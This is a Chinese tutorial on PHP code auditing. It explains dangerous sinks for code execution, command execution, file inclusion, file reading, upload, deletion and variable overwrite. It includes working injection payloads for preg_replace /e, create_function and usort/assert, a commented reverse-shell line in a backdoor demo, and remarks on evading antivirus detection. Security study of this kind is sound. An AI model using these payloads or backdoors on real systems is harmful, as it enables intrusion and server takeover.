代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用。那么,常见的能够触发这类漏洞的函数有哪些呢?

+

eval()​

+

想必大家对eval()函数应该并不陌生,简而言之eval()函数就是将传入的字符串当作 PHP 代码来进行执行。

+
eval( string $code) : mixed
+
返回值​
+

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误。

+

也就是说,我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出异常。所以PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码。

+

示例:

+
<?php
$code = "echo 'This is a PHP7';";
eval($code);
?>

执行结果——>This is a PHP```


那么如果我要执行系统命令呢?这个时候就需要用到PHP中的`system`函数。

```php
<?php
$code = "system('whoami');";
eval($code);
?>

执行结果——>desktop-m61j5j6\admin
+

那么到此,我们就可以结合其他姿势通过这个函数实现任意代码执行了。

+

assert()​

+

PHP

+
assert( mixed $assertion[, string $description] ) : bool
+

PHP

+
assert( mixed $assertion[, Throwable $exception] ) : bool
+
参数​
+
    +
  • assertion
  • +
+

断言。在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

+
    +
  • description
  • +
+

如果assertion失败了,选项description将会包含在失败信息里。

+
    +
  • exception
  • +
+

在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

+
assert()配置​
+ + + + + + + + + + + + + + + + + + + + +
配置项默认值可选值
zend.assertions11 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception01 - 断言失败时抛出,可以抛出异常对象,如果没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)
+

所以搞了这么多,assert()函数到底是干什么的呢?用我的理解来说,assert()函数是处理异常的一种形式,相当于一个if条件语句的宏定义一样。

+

一个PHP 7 中的示例

+
<?php
assert_options(ASSERT_EXCEPTION, 1); // 设置在断言失败时产生异常
try {
assert(1 == 2, new AssertionError('因为1不等于2,所以前面断言失败,抛出异常')); // 用 AssertionError 异常替代普通字符串
} catch (Throwable $error) {
echo $error->getMessage();
}
?>


执行结果——>因为1不等于2,所以前面断言失败,抛出异常
+

这里就是实例化一个对象,用这个对象来抛出异常。

+

一个php 5 中的示例

+
<?php
assert(1 == 2,'前面断言失败,抛出异常');
?>

执行结果——>Warning: assert(): 前面断言失败,抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line
<?php
assert(1 == 2);
?>

执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line ```


所以PHP 7 相较于PHP 5 就是多了个用Throwable来发出警告。

那么,如果前面断言成功呢?会发生什么呢?来个最简单,也是我们比较喜欢的示例

```php
<?php
$code = "system(whoami)"
assert($code);
?>

执行结果——>desktop-m61j5j6\admin
+

这段代码在PHP 5 和PHP 7 中都会返回命令执行结果,虽然PHP 7 中对断言函数的参数稍作了改变,但是为了兼容低版本,所以还是会直接返回结果。

+

preg_replace()​

+

通过函数名字我们也应该能够了解函数大概作用,此函数执行一个正则表达式的搜索和替换。

+
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
+

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

+
参数说明:​
+
    +
  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • +
  • $replacement: 用于替换的字符串或字符串数组。
  • +
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • +
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • +
  • $count: 可选,为替换执行的次数。
  • +
+

那这个函数跟我们命令执行有什么关系呢?仅仅看上面的官方解释似乎看不出什么,但是preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题,为什么呢?

+

看一个案例

+
<?php
function Ameng($regex, $value){
return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value){
echo Ameng($regex, $value) . "\n";
}
?>
+

上面这段我们需要注意的就是\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项。

+

针对上面案例,我们来个payload:

+
payload=/?.*={${phpinfo()}}
所以语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
+

那么我们直接把这段代码放到页面

+
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>
+

访问页面,结果如下:

+

img

+

我们看到成功执行了代码。

+

但是这里我是直接将这段代码写到了文件里,那么如果我们是通过GET传参得到参数,这里针对上面那个案例就需要注意一点,在通过GET传参时,.*会被替换为_*导致我们要的正则被替换了,达不到我们的效果,所以这里可用使用一些其他的正则表达式来达到目的,比如通过GET传参时我们的参数可以传入\S*从而达到同样目的。所以以后再遇到这个函数的时候,要留个心眼了。不过,这里要补充一点,就是preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

+

create_function()​

+

create_function()用来创建一个匿名函数

+
create_function( string $args, string $code) : string
+
参数​
+
    +
  • string $args 声明的函数变量部分
  • +
  • string $code 要执行的代码
  • +
+
返回值​
+

返回唯一的函数名称作为字符串或者返回FALSE错误

+

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。所以这里为了演示这个函数,我采用的是PHP 5 的环境。那么这个函数到底怎么用呢?

+

那么来看我写的一个简单的案例

+
<?php
$onefunc = create_function('$a','return system($a);');
$onefunc(whoami);
?>

执行结果——>desktop-m61j5j6\admin
+

我们看到使用此函数为我们相当于创造了一个匿名的函数,给它赋以相应的变量,就执行了我们要执行的代码。

+

那么接下来我们来看一个简单的案例

+
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
+

这个主要功能就是实现排序,这段代码就调用了create_function()函数,那么我们能否利用这个函数执行我们想要执行的代码呢?

+

当然可以,我们只需要在传参时将前面的符号闭合,然后输入我们想要执行的代码即可。

+
payload='"]);}phpinfo();/*
执行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
+

看到这里,你可能会有稍微疑惑,就是你闭合就闭合吧,为什么后面多了个;},不知道你是否想到了这一点?

+

那么我就来分析一下这个,上面的那段执行代码,实际上就是一个匿名函数的创建,既然是一个函数,注意是一个函数,那么你觉得有没有花括号呢?看我如下代码

+
<?php
//未闭合之前
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
}
//闭合之后
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
?>
+

可以看到,我们借用了匿名函数的位置,插入了我们要执行的代码,然后等这个匿名函数被create_function当作$code执行的时候,是不是代码就被执行了。

+

结果:

+

img

+

那么creat_function函数还有别的用法吗?我们将上面一个案例简单的修改一下,代码如下:

+
<?php
$onefunc = create_function("","die(`cat flag.php`)");
$_GET['func_name']();
die();
?>
+

代码简单的来看,我们只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag。

+

所以,以后再代码中如果看到调用create_function()要小心一点,但是如果是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者替换来构造这个函数。最后再强调一下,create_function函数在PHP 7.2 版本之后就已经被废弃了。

+

array_map()​

+

array_map()为数组的每个元素应用回调函数

+
array_map( callable $callback, array $array1[, array $...] ) : array
+

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。

+
参数​
+
    +
  • callback:回调函数,应用到每个数组里的每个元素。
  • +
  • array1:数组,遍历运行callback函数。
  • +
  • ...:数组列表,每个都遍历运行callback函数。
  • +
+
返回值​
+

返回数组,包含callback函数处理之后array1的所有元素。

+

说了这么多官方的函数解释,那么这个函数到底如何使用呢?简而言之,这个函数的作用可以这么直白的解释一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。

+

img

+

代码示例:

+
<?php
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg * $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>


执行结果——>
array(5) {
[0]=>
int(1)
[1]=>
int(4)
[2]=>
int(9)
[3]=>
int(16)
[4]=>
int(25)
}
+

通过上述代码,我们大概知道这个函数就是调用回调函数(用户自定义的函数)来实现对现有数组的操作,从而得到一个新的数组。

+

那么功能我知道了,可是这个和代码执行有什么关系呢?如何能够利用这个函数执行代码呢?且看下面所示代码。

+
<?php
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
var_dump($new_array);
?>


执行结果——>
desktop-m61j5j6\admin
array(1) {
[0]=>
string(21) "desktop-m61j5j6\admin"
}
+

这段代码就是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了。

+

call_user_func()​

+

call_user_func()是把第一个参数作为回调函数调用

+
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
+
参数​
+

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

+
    +
  • callback:即将被调用的回调函数
  • +
  • parameter:传入回调函数的参数
  • +
+

这个函数还是非常好理解的,看一段简单的示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数我是参数
+

可以看到此函数作用就是调用了笔者自定义的函数。那么这个如何实现代码执行呢?好说,你在前面自定义的函数中加入能执行命令的代码不久可以代码执行了。

+

示例代码:

+
<?php
function callback($a){
return system($a);
}
$cmd = 'whoami';
call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

call_user_func_array()​

+

这个函数名称跟上没什么大的差别,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

+
call_user_func_array( callable $callback, array $param_arr) : mixed
+
参数​
+
    +
  • callback:被调用的回调函数
  • +
  • param_arr:要被传入回调函数的数组,这个数组需要是索引数组
  • +
+

示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
$onearray = array('我是参数1','我是参数2');
call_user_func_array('callback',$onearray);
?>


执行结果——>
我是参数我是参数```


示例代码:

```php
<?php
function callback($a){
return system($a);
}
$cmd = array('whoami');
call_user_func_array('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

array_filter()​

+

用回调函数过滤数数组中的单元

+
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
+

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

+
参数​
+
    +
  • array:要循环的数组
  • +
  • callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
  • +
  • flag:决定callback接收的参数形式
  • +
+

代码示例(这里看官方的就行,很详细):

+
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}

function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>


执行结果——>
Odd :
Array
(
[a] => [c] => [e] => )
Even:
Array
(
[0] => [2] => [4] => [6] => )
+

从上面代码我们知道,这个函数作用其实就是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你心里有没有代码执行的雏形了?

+

代码示例:

+
<?php
$cmd='whoami';
$array1=array($cmd);
$func ='system';
array_filter($array1,$func);
?>


执行结果——>
desktop-m61j5j6\admin
+

usort()​

+

使用用户自定义的比较函数对数组中的值进行排序

+
usort( array &$array, callable $value_compare_func) : bool
+
参数​
+
    +
  • array:输入的数组
  • +
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
  • +
+

代码示例:

+
<?php
function func($a,$b){
return ($a<$b)?1:-1;
}
$onearray=array(1,3,2,5,9);
usort($onearray, 'func');
print_r($onearray);
?>

执行结果——>
Array
(
[0] => [1] => [2] => [3] => [4] => )
+

可见实现了逆序的功能。那么倘若我们把回调函数设计成能够执行代码的函数,是不是就可以执行我们想要的代码了呢?

+

代码示例:

+
<?php 
usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();
+

usort的参数通过GET传参,第一个参数也就是$_GET[0],随便传入一个数字即可。第二个参数也就是$_GET[1]是我们要调用的函数名称,这里采用的是assert函数。

+

执行结果:

+

img

+

uasort()​

+

这个跟上一个差不多,区别不是很大。此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”。

+
uasort( array &$array, callable $value_compare_func) : bool
+
参数​
+
    +
  • array:输入的数组
  • +
  • value_compare_func:用户自定义的函数
  • +
+

这里用的仍然官方例子(比较好理解)

+
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>

执行结果——>
Array
(
[a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)
Array
(
[d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )
+

我们发现,在排完序之后索引也跟着值的位置变化而变化了。那么代码执行的示例代码其实也和上一个差不多。

+

代码示例:

+
<?php
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>
+

执行结果:

+

img

+

总结​

+

看完这里不知道你对代码审计中的代码执行部分是否有另一种想法?我的想法就是这个是和后门联系在一起的。我们可以看到很多函数都具有构造执行命令的条件,而且其中很多函数也的确被用在后门中,特别像后面几个回调函数,在后门中更是常见。当然这些后门函数也早已被安全厂商盯住,所以大部分已经无法直接免杀,所以想要免杀就需要结合其他姿势,比如替换、拼接、加密等等。但是这些知识在CTF中还是比较容易出现的。

+

命令执行​

+

说完代码执行,我们再来看看命令执行。常见的命令执行函数有哪些呢?

+

system()​

+

这个函数想必我们都是比较熟悉的,此函数就是执行外部指令,并且显示输出

+
system( string $command[, int &$return_var] ) : string
+
参数​
+
    +
  • command:必需。要执行的命令
  • +
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中
  • +
+

示例代码:

+
<?php
$cmd = 'whoami';
system($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

exec()​

+

这个其实和上面system函数没有太大区别,都是执行外部程序指令,只不过这个函数多了一个参数,可以让我们把命令执行输出的结果保存到一个数组中。

+
exec( string $command[, array &$output[, int &$return_var]] ) : string
+
参数​
+
    +
  • command:必需。要执行的命令
  • +
  • output:可选。如果设置了此参数,那么命令执行的结果将会保存到此数组。
  • +
  • return_var:可选。命令执行的返回状态。
  • +
+
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

shell_exec()​

+

此函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,那么就返回NULL

+
shell_exec( string $cmd) : string
+
参数​
+
    +
  • cmd:要执行的命令
  • +
+

代码示例:

+
<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

passthru()​

+

执行外部程序并且显示原始输出。既然我们已经有执行命令的函数了,那么这个函数我们什么时候会用到呢?当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数

+
passthru( string $command[, int &$return_var] ) : void
+
参数​
+
    +
  • command:要执行的命令
  • +
  • return_var:Unix命令的返回状态将被记录到此函数。
  • +
+

代码示例:

+
第一你可以这么写
<?php
passthru('whoami'); //直接将结果返回到页面
?>
第二你可以这么写
<?php
passthru('whoami',$result); //将结果返回到一个变量,然后通过输出变量值得到输出内容
echo $result;
?>
+

pcntl_exec()​

+

在当前进程空间执行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就需要用到这个函数了。

+
pcntl_exec( string $path[, array $args[, array $envs]] ) : void
+
参数​
+
    +
  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  • +
  • args:此参数是一个传递给程序的参数的字符串数组
  • +
  • envs:环境变量,这个想必大家都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
  • +
+

示例代码:

+
//father
<?php
pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
+
//son
<?php
while(true){
echo 'ok';
}
?>
+

popen()​

+

此函数使用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。

+
popen(command,mode)
+
参数​
+
    +
  • command:要执行的命令
  • +
  • mode:必需。规定连接的模式 +
      +
    • r:只读
    • +
    • w:只写(打开并清空已有文件或创建一个新文件)
    • +
    +
  • +
+

代码示例:

+
<?php
$file = popen("demo.txt","r");
pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>
+

proc_open()​

+

此函数执行一个命令,并且打开用来输入或者输出的文件指针

+
proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 
+

此函数其实和popen函数类似,都是执行命令

+
参数​
+
    +
  • cmd:要执行的命令
  • +
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • +
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一段的文件指针。
  • +
  • cwd:要执行命令的初始工作目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工作目录)
  • +
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • +
  • other_options:可选。附加选项 +
      +
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • +
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。
    • +
    +
  • +
+

说白了,其实就是执行命令,只不过其中多了一些选项,包括目录的,环境变量的等。

+

示例代码:

+
$descriptorspec = array(
0 => array("pipe", "r"), //标准输入,子进程从此管道读取数据
1 => array("pipe", "w"), //标准输出,子进程向此管道写入数据
2 => array("file", "/opt/figli/php/error-output.txt","a") //标准错误,写入到指定文件
);


$process = proc_open("ls -a", $descriptorspec, $pipes);

if(is_resource($process)){

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

proc_close($process); //在调用proc_close之前必须关闭所有管道
}
+

文件包含​

+

include()​

+

include将会包含语句并执行指定文件

+
include 'filename';
+

关键点就在于执行指定文件,执行给了我们代码执行的机会。倘若此时我们构造了一个后门文件,需要在目标机器执行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以使用该函数来执行我们的后门函数。下面我来演示一下。

+

示例代码(1.php):

+
<?php
highlight_file(__FILE__);
$file = $_GET['file'];
include $file;
?>
+

示例代码(2.php):

+
<?php
//这里可以使用PHP来反弹shell,我这里只是演示
//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
echo '<br><h1>[*]backdoor is running!</h1>';
?>
+

执行结果:

+

img

+

include_once()​

+

include_once与include没有太大区别,唯一的其区别已经在名称中体现了,就是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数。

+

require()​

+

require的实现和include功能几乎完全相同,那既然一样为什么还要多一个这样的函数呢?( 我也不知道)

+

其实两者还是有点区别的,什么区别呢?这么说,如果你包含的文件的代码里面有错误,你觉得会发生什么?是继续执行包含的文件,还是停止执行呢?所以区别就在这里产生了。

+

require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是继续执行。

+

require_once()​

+

这个我觉得你看完上面的,应该就懂了。这两者关系和include与include_once的关系是一样的。

+

总结​

+

文件包含有很多利用手段,其中在实际环境中,例如我们向服务器写入了后门,但是我们无法直接连接服务器,那么如果有文件包含函数,我们可以通过文件包含函数包含执行我们的后门函数,让服务器反弹连接我们。岂不美哉。

+

文件读取(下载)​

+

file_get_contents()​

+

函数功能是将整个文件读入一个字符串

+
file_get_contents(path,include_path,context,start,max_length)
+
参数​
+
    +
  • filename:要读取文件的名称。
  • +
  • include_path:可选。如果也想在 include_path 中搜索文件,可以设置为1。
  • +
  • context:可选。规定句柄的位置。
  • +
  • start:可选。规定文件中开始读取的位置。
  • +
  • max_length:可选。规定读取的字节数。
  • +
+

代码示例:

+
<?php
echo file_get_contents('demo.txt');
?>

执行结果——>
I am a demo text
+

fopen()​

+

此函数将打开一个文件或URL,如果 fopen() 失败,它将返回 FALSE 并附带错误信息。我们可以通过在函数名前面添加一个 @ 来隐藏错误输出。

+
fopen(filename,mode,include_path,context)
+
参数​
+
    +
  • filename:必需。要打开的文件或URL
  • +
  • mode:必需。规定访问类型(例如只读,只写,读写方式等,方式的规定和其他语言的规定方式一致)
  • +
  • include_path:可选。就是你可以指定搜索的路径位置,如果要指定的话,那么该参数要指定为- context:可选。规定句柄的环境。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.txt","rb");
$content = fread($file,1024);
echo $content;
fclose($file);
?>

执行结果——>
I am a demo text
+

这段代码中其实也包含了fread的用法。因为fread仅仅只是打开一个文件,要想读取还得需要用到fread来读取文件内容。

+

fread()​

+

这个函数刚才在上个函数中基本已经演示过了,就是读取文件内容。这里代码就不再演示了,简单介绍一下参数和用法。

+
string fread ( resource $handle , int $length )
+
参数​
+
    +
  • handle:文件系统指针,是典型地由 fopen创建的resource。
  • +
  • length:必需。你要读取的最大字节数。
  • +
+

fgets()​

+

从打开的文件中读取一行

+
fgets(file,length) 
+
参数​
+
    +
  • file:必需。规定要读取的文件。
  • +
  • length:可选。规定要读取的字节数。默认是1024字节。
  • +
+

可以看出这个函数和之前的fread区别不是很大,只不过这个读取的是一行。

+

fgetss()​

+

这个函数跟上个没什么差别,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。

+
fgetss(file,length,tags)
+
参数​
+
    +
  • file:必需。要检查的文件。
  • +
  • length:可选。规定要读取的字节数,默认1024字节。
  • +
  • tags:可选。哪些标记不去掉。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.html","r");
echo fgetss($file);
fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>

执行结果——>
I am a demo
+

readfile()​

+

这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。

+
readfile(filename,include_path,context)
+
参数​
+
    +
  • filename:必需。要读取的文件。
  • +
  • include_path:可选。规定要搜索的路径。
  • +
  • context:可选。规定文件句柄环境。
  • +
+

代码示例:

+
<?php
echo "<br>" . readfile("demo.txt");
?>

执行结果——>
I am a demo:) I am a demo:(
+

我们看到不仅输出了所有内容,而且还输出了总共长度。但是没有输出换行。

+

file()​

+

把文件读入到一个数组中,数组中每一个元素对应的是文件中的一行,包括换行符。

+
file(path,include_path,context)
+
参数​
+
    +
  • path:必需。要读取的文件。
  • +
  • include_path:可选。可指定搜索路径。
  • +
  • context:可选。设置句柄环境。
  • +
+

代码示例:

+
<?php
print_r(file("demo.txt"));
?>

执行结果——>
Array
(
[0] => I am the first line!
[1] => I am the second line!
)
+

parse_ini_file()​

+

从名称可以看出,这个函数不是读取一个简单的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回其中的位置。

+
parse_ini_file(file,process_sections)
+
参数​
+
    +
  • file:必需。要读取的ini文件
  • +
  • process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息
  • +
+

代码示例:

+
<?php
print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array
(
[me] => Robert
[you] => Peter
[first] => http://www.example1.com
[second] => https://www.example2.com
)
+

show_source()/highlight_file()​

+

这两个函数没什么好说的,想必大家也经常见到这两个函数,其作用就是让php代码显示在页面上。这两个没有任何区别,show_source其实就是highlight_file的别名。

+

总结​

+

文件读取这块内容没什么好说的,不难,大多只是基本的应用。重点文件读取如果没有设置权限和过滤参数,那就问题大了,我们就可以任意文件读取了。

+

补充:什么是句柄?

+

开局先给一段代码

+
$file = fopen("demo.txt","rb");
+

在这段代码中$file就是一个句柄。句柄关键点在“柄”,后面的fopen是一个资源,好比一口锅,而前面的$file就好比这个锅的把手。那么以后我们在操作的时候操作把手就行了。通过这个把手我们可以间接操作比较大的资源。其实也类似C语言中的指针,只是一个标识。

+

文件上传​

+

move_uploaded_file()​

+

此函数是将上传的文件移动到新位置。

+
move_uploaded_file(file,newloc)
+
参数​
+
    +
  • file:必需。规定要移动的文件。
  • +
  • newloc:必需。规定文件的新位置。
  • +
+

本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

+

如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。

+

如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

+

代码示例:

+
$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )
+

这段代码就是直接接收上传的文件,没有进行任何的过滤,那么当我们上传getshell的后门时,就可以直接获取权限,可见这个函数是不能乱用的,即便要用也要将过滤规则完善好,防止上传不合法文件。

+

文件删除​

+ +

此函数用来删除文件。成功返回 TURE ,失败返回 FALSE。

+
unlink(filename,context)
+
参数​
+
    +
  • filename:必需。要删除的文件。
  • +
  • context:可选。句柄环境。
  • +
+

我们知道,一些网站是有删除功能的。比如常见的论坛网站,是有删除评论或者文章功能的。倘若网站没有对删除处做限制,那么就可能会导致任意文件删除(甚至删除网站源码)。

+

代码示例:

+
<?php
$file = "demo.txt";
if(unlink($file)){
echo("$file have been deleted");
}
else{
echo("$file not exist?")
}
php>
+

session_destroy()​

+

在了解这个函数之前,我们需要先了解 PHP session。 PHP session 变量用于存储关于用户会话的信息。关于 sesson 的机制这里我就不再过于详细介绍。

+

session_destroy()函数用来销毁一个会话中的全部数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie

+

代码示例:

+
<?php
// 初始化会话。
// 如果要使用会话,别忘了现在就调用:
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底,那么同时删除会话 cookie
// 注意:这样不但销毁了会话中的数据,还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

// 最后,销毁会话
session_destroy();
?>
+

变量覆盖​

+

extract()​

+

此函数从数组中将变量导入到当前的符号表。其实作用就是给变量重新赋值,从而达到变量覆盖的作用。

+
extract(array,extract_rules,prefix)
+
参数​
+
    +
  • array:必需。规定要使用的数组。
  • +
  • extract_rules:可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号中已经存在的变量名是否冲突,对不合法或者冲突的键名将会根据此参数的设定的规则来决定。 +
      +
    • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    • +
    • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    • +
    • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    • +
    • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    • +
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • +
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • +
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    • +
    • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    • +
    +
  • +
